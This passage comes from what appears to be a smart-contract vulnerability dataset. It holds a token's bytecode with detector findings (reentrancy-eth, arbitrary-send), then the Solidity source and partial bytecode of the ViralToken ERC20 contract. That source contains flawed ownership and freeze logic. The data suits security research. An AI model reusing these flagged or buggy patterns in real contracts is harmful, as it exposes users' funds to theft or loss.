7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e0929190612df5565b602060405180830381600087803b1580156112fa57600080fd5b505af115801561130e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113329190612a7a565b506001600f60146101000a81548160ff021916908315150217905550603c4261135b9190613152565b60108190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113a5611552565b73ffffffffffffffffffffffffffffffffffffffff16146113c557600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061144d600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661090f565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661151a611552565b73ffffffffffffffffffffffffffffffffffffffff161461153a57600080fd5b600a81111561154857600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c190612fbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561163a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163190612efc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611718919061301c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178c90612f9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fc90612ebc565b60405180910390fd5b60008111611848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183f90612f7c565b60405180910390fd5b611850610ab3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118be575061188e610ab3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bf157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119675750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61197057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a1b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a715750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b2d57600f60149054906101000a900460ff16611ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abc90612ffc565b60405180910390fd5b426010541115611b2c576000611ada8361090f565b9050611b0c6064611afe6002683635c9adc5dea0000061209190919063ffffffff16565b61210c90919063ffffffff16565b611b1f828461215690919063ffffffff16565b1115611b2a57600080fd5b505b5b6000611b383061090f565b9050600f60169054906101000a900460ff16158015611ba55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bbd5750600f60149054906101000a900460ff165b15611bef576000811115611bd557611bd481611e09565b5b60004790506000811115611bed57611bec47611d2f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c985750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611caf5750600f60159054906101000a900460ff165b15611cb957600090505b611cc5848484846121b4565b50505050565b6000838311158290611d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0a9190612e9a565b60405180910390fd5b5060008385611d229190613233565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d97573d6000803e3d6000fd5b5050565b6000600754821115611de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd990612edc565b60405180910390fd5b6000611dec6121e1565b9050611e01818461210c90919063ffffffff16565b915050919050565b6001600f60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4157611e4061341a565b5b604051908082528060200260200182016040528015611e6f5781602001602082028036833780820191505090505b5090503081600081518110611e8757611e866133eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2957600080fd5b505afa158015611f3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f619190612904565b81600181518110611f7557611f746133eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdc30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461155a565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612040959493929190613037565b600060405180830381600087803b15801561205a57600080fd5b505af115801561206e573d6000803e3d6000fd5b50505050506000600f60166101000a81548160ff02191690831515021790555050565b6000808314156120a45760009050612106565b600082846120b291906131d9565b90508284826120c191906131a8565b14612101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f890612f3c565b60405180910390fd5b809150505b92915050565b600061214e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061220c565b905092915050565b60008082846121659190613152565b9050838110156121aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a190612f1c565b60405180910390fd5b8091505092915050565b806121c2576121c161226f565b5b6121cd8484846122b2565b806121db576121da61247d565b5b50505050565b60008060006121ee612491565b91509150612205818361210c90919063ffffffff16565b9250505090565b60008083118290612253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224a9190612e9a565b60405180910390fd5b506000838561226291906131a8565b9050809150509392505050565b600060095414801561228357506000600a54145b1561228d576122b0565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b6000806000806000806122c4876124f3565b95509550955095509550955061232286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612403816125a5565b61240d8483612662565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161246a919061301c565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea0000090506124c7683635c9adc5dea0000060075461210c90919063ffffffff16565b8210156124e657600754683635c9adc5dea000009350935050506124ef565b81819350935050505b9091565b60008060008060008060008060006125108a600954600a5461269c565b92509250925060006125206121e1565b905060008060006125338e878787612732565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ccb565b905092915050565b60006125af6121e1565b905060006125c6828461209190919063ffffffff16565b905061261a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126778260075461255b90919063ffffffff16565b6007819055506126928160085461215690919063ffffffff16565b6008819055505050565b6000806000806126c860646126ba888a61209190919063ffffffff16565b61210c90919063ffffffff16565b905060006126f260646126e4888b61209190919063ffffffff16565b61210c90919063ffffffff16565b9050600061271b8261270d858c61255b90919063ffffffff16565b61255b90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061274b858961209190919063ffffffff16565b90506000612762868961209190919063ffffffff16565b90506000612779878961209190919063ffffffff16565b905060006127a282612794858761255b90919063ffffffff16565b61255b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127ce6127c9846130d1565b6130ac565b905080838252602082019050828560208602820111156127f1576127f061344e565b5b60005b858110156128215781612807888261282b565b8452602084019350602083019250506001810190506127f4565b5050509392505050565b60008135905061283a8161373b565b92915050565b60008151905061284f8161373b565b92915050565b60008135905061286481613752565b92915050565b600082601f83011261287f5761287e613449565b5b813561288f8482602086016127bb565b91505092915050565b6000815190506128a781613769565b92915050565b6000813590506128bc81613780565b92915050565b6000815190506128d181613780565b92915050565b6000602082840312156128ed576128ec613458565b5b60006128fb8482850161282b565b91505092915050565b60006020828403121561291a57612919613458565b5b600061292884828501612840565b91505092915050565b60006020828403121561294757612946613458565b5b600061295584828501612855565b91505092915050565b6000806040838503121561297557612974613458565b5b60006129838582860161282b565b92505060206129948582860161282b565b9150509250929050565b6000806000606084860312156129b7576129b6613458565b5b60006129c58682870161282b565b93505060206129d68682870161282b565b92505060406129e7868287016128ad565b9150509250925092565b60008060408385031215612a0857612a07613458565b5b6000612a168582860161282b565b9250506020612a27858286016128ad565b9150509250929050565b600060208284031215612a4757612a46613458565b5b600082013567ffffffffffffffff811115612a6557612a64613453565b5b612a718482850161286a565b91505092915050565b600060208284031215612a9057612a8f613458565b5b6000612a9e84828501612898565b91505092915050565b600060208284031215612abd57612abc613458565b5b6000612acb848285016128ad565b91505092915050565b600080600060608486031215612aed57612aec613458565b5b6000612afb868287016128c2565b9350506020612b0c868287016128c2565b9250506040612b1d868287016128c2565b9150509250925092565b6000612b338383612b3f565b60208301905092915050565b612b4881613267565b82525050565b612b5781613267565b82525050565b6000612b688261310d565b612b728185613130565b9350612b7d836130fd565b8060005b83811015612bae578151612b958882612b27565b9750612ba083613123565b925050600181019050612b81565b5085935050505092915050565b612bc48161328b565b82525050565b612bd3816132ce565b82525050565b6000612be482613118565b612bee8185613141565b9350612bfe8185602086016132e0565b612c078161345d565b840191505092915050565b6000612c1f602383613141565b9150612c2a8261346e565b604082019050919050565b6000612c42602a83613141565b9150612c4d826134bd565b604082019050919050565b6000612c65602283613141565b9150612c708261350c565b604082019050919050565b6000612c88601b83613141565b9150612c938261355b565b602082019050919050565b6000612cab602183613141565b9150612cb682613584565b604082019050919050565b6000612cce602083613141565b9150612cd9826135d3565b602082019050919050565b6000612cf1602983613141565b9150612cfc826135fc565b604082019050919050565b6000612d14602583613141565b9150612d1f8261364b565b604082019050919050565b6000612d37602483613141565b9150612d428261369a565b604082019050919050565b6000612d5a601783613141565b9150612d65826136e9565b602082019050919050565b6000612d7d601883613141565b9150612d8882613712565b602082019050919050565b612d9c816132b7565b82525050565b612dab816132c1565b82525050565b6000602082019050612dc66000830184612b4e565b92915050565b6000604082019050612de16000830185612b4e565b612dee6020830184612b4e565b9392505050565b6000604082019050612e0a6000830185612b4e565b612e176020830184612d93565b9392505050565b600060c082019050612e336000830189612b4e565b612e406020830188612d93565b612e4d6040830187612bca565b612e5a6060830186612bca565b612e676080830185612b4e565b612e7460a0830184612d93565b979650505050505050565b6000602082019050612e946000830184612bbb565b92915050565b60006020820190508181036000830152612eb48184612bd9565b905092915050565b60006020820190508181036000830152612ed581612c12565b9050919050565b60006020820190508181036000830152612ef581612c35565b9050919050565b60006020820190508181036000830152612f1581612c58565b9050919050565b60006020820190508181036000830152612f3581612c7b565b9050919050565b60006020820190508181036000830152612f5581612c9e565b9050919050565b60006020820190508181036000830152612f7581612cc1565b9050919050565b60006020820190508181036000830152612f9581612ce4565b9050919050565b60006020820190508181036000830152612fb581612d07565b9050919050565b60006020820190508181036000830152612fd581612d2a565b9050919050565b60006020820190508181036000830152612ff581612d4d565b9050919050565b6000602082019050818103600083015261301581612d70565b9050919050565b60006020820190506130316000830184612d93565b92915050565b600060a08201905061304c6000830188612d93565b6130596020830187612bca565b818103604083015261306b8186612b5d565b905061307a6060830185612b4e565b6130876080830184612d93565b9695505050505050565b60006020820190506130a66000830184612da2565b92915050565b60006130b66130c7565b90506130c28282613313565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ec576130eb61341a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315d826132b7565b9150613168836132b7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319d5761319c61338d565b5b828201905092915050565b60006131b3826132b7565b91506131be836132b7565b9250826131ce576131cd6133bc565b5b828204905092915050565b60006131e4826132b7565b91506131ef836132b7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132285761322761338d565b5b828202905092915050565b600061323e826132b7565b9150613249836132b7565b92508282101561325c5761325b61338d565b5b828203905092915050565b600061327282613297565b9050919050565b600061328482613297565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132d9826132b7565b9050919050565b60005b838110156132fe5780820151818401526020810190506132e3565b8381111561330d576000848401525b50505050565b61331c8261345d565b810181811067ffffffffffffffff8211171561333b5761333a61341a565b5b80604052505050565b600061334f826132b7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133825761338161338d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61374481613267565b811461374f57600080fd5b50565b61375b81613279565b811461376657600080fd5b50565b6137728161328b565b811461377d57600080fd5b50565b613789816132b7565b811461379457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d708db284f8bbf1a1ef1c3b8e20cade1f9a7d461603773e6960731b961b3eaa64736f6c63430008050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,822 |
0x059131aa7774568ebe83218d373790c4c90e7b48 | pragma solidity ^0.4.16;
// VIRAL Token contract based on the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Symbol: VRT
// Status: ERC20 Verified
contract VIRALToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* VIRALToken Math operations with safety checks to avoid unnecessary conflicts
*/
library VRTMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract VRTStandardToken is VIRALToken, Ownable {
using VRTMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract VIRALTOKEN is VRTStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 18; //How many decimals to show.
uint256 public totalSupply = 25 * (10**6) * 10**18 ; // 25 million tokens, 18 decimal places
string constant public name = "ViralToken"; //fancy name: eg VIRAL
string constant public symbol = "VRT"; //An identifier: eg VRT
string constant public version = "v11"; //Version 11 standard. Just an arbitrary versioning scheme.
function VIRALTOKEN(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | 0x606060405236156100ef576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f4578063095ea7b31461018357806318160ddd146101dd57806323b872dd14610206578063313ce5671461027f57806354fd4d50146102a857806370a082311461033757806379ba5097146103845780638da5cb5b1461039957806395d89b41146103ee578063a9059cbb1461047d578063b414d4b6146104d7578063cae9ca5114610528578063d4ee1d90146105c5578063dd62ed3e1461061a578063e724529c14610686578063f2fde38b146106ca575b600080fd5b34156100ff57600080fd5b610107610703565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101485780820151818401525b60208101905061012c565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061073c565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b6101f06108c4565b6040518082815260200191505060405180910390f35b341561021157600080fd5b610265600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ca565b604051808215151515815260200191505060405180910390f35b341561028a57600080fd5b610292610d99565b6040518082815260200191505060405180910390f35b34156102b357600080fd5b6102bb610d9e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102fc5780820151818401525b6020810190506102e0565b50505050905090810190601f1680156103295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034257600080fd5b61036e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dd7565b6040518082815260200191505060405180910390f35b341561038f57600080fd5b610397610e21565b005b34156103a457600080fd5b6103ac610f81565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f957600080fd5b610401610fa7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104425780820151818401525b602081019050610426565b50505050905090810190601f16801561046f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048857600080fd5b6104bd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fe0565b604051808215151515815260200191505060405180910390f35b34156104e257600080fd5b61050e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611317565b604051808215151515815260200191505060405180910390f35b341561053357600080fd5b6105ab600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611337565b604051808215151515815260200191505060405180910390f35b34156105d057600080fd5b6105d86115da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062557600080fd5b610670600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611600565b6040518082815260200191505060405180910390f35b341561069157600080fd5b6106c8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611688565b005b34156106d557600080fd5b610701600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117b0565b005b6040805190810160405280600a81526020017f566972616c546f6b656e0000000000000000000000000000000000000000000081525081565b6000808214806107c857506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107d357600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109275760009050610d92565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109f2575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109fe5750600082115b8015610a375750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ad35750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ad083600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b10155b8015610ae457506044600036905010155b1515610aef57600080fd5b610b4182600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd682600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6040805190810160405280600381526020017f763131000000000000000000000000000000000000000000000000000000000081525081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054